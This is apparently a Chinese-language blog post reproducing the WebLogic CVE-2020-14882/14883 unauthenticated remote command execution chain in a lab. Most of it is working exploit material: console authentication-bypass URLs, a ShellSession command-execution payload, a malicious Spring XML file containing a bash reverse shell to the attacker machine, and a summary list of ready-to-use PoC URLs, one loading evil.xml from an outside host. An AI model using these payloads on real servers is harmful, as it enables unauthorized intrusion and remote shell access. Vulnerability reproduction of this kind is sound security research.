Weblogic未授权远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)复现

0x01 漏洞简介

Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

0x02 环境搭建

本次实验用到三个虚拟机

攻击机:Kali       ip:192.168.222.131

环境机:Ubantu     ip:192.168.222.128

Xml挂载:windows 7  ip:192.168.222.130(这个好像网上也有自己用起一个也行)

  Ubantu  Vulhub

Docker启动

0x03 影响版本

10.3.6.0.0,

12.1.3.0.0,

12.2.1.3.0,

12.2.1.4.0,

14.1.1.0.0

0x04 漏洞复现

访问:

http://192.168.222.128:7001/console/css/%252e%252e%252fconsole.portal

 

未授权复现完成。

远程命令执行:

http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
touch /tmp/success1    //替换其他命令

反弹shell

 这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10版本并不存在com.tangosol.coherence.mvel2.sh.ShellSession类,使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类时,需要构造一个恶意的xml文件。

rec.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>-c</value>
<value>/bin/bash</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.222.131/8888 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

Poc:

http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.222.130/rce.xml")

Rce.xml文件下载:http://192.168.222.130/rce.xml  (windows 7 自己起的)

如果用到弹shell需要自己替换一下xml弹shell命令

访问抓包

然后用kali  nc监听8888

在将获取的数据包repeater重放

Poc整理:

反弹shell :

http://ip+端口/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://*.*.*.*/evil.xml")

需要xxx.xml文件。修改文件内的命令

未授权:

http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal

命令执行:

http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

这里执行的

touch%20/tmp/success1

文章参考:https://www.cnblogs.com/2rsh0u/p/13911794.html

原文地址:https://www.cnblogs.com/bflw/p/14313865.html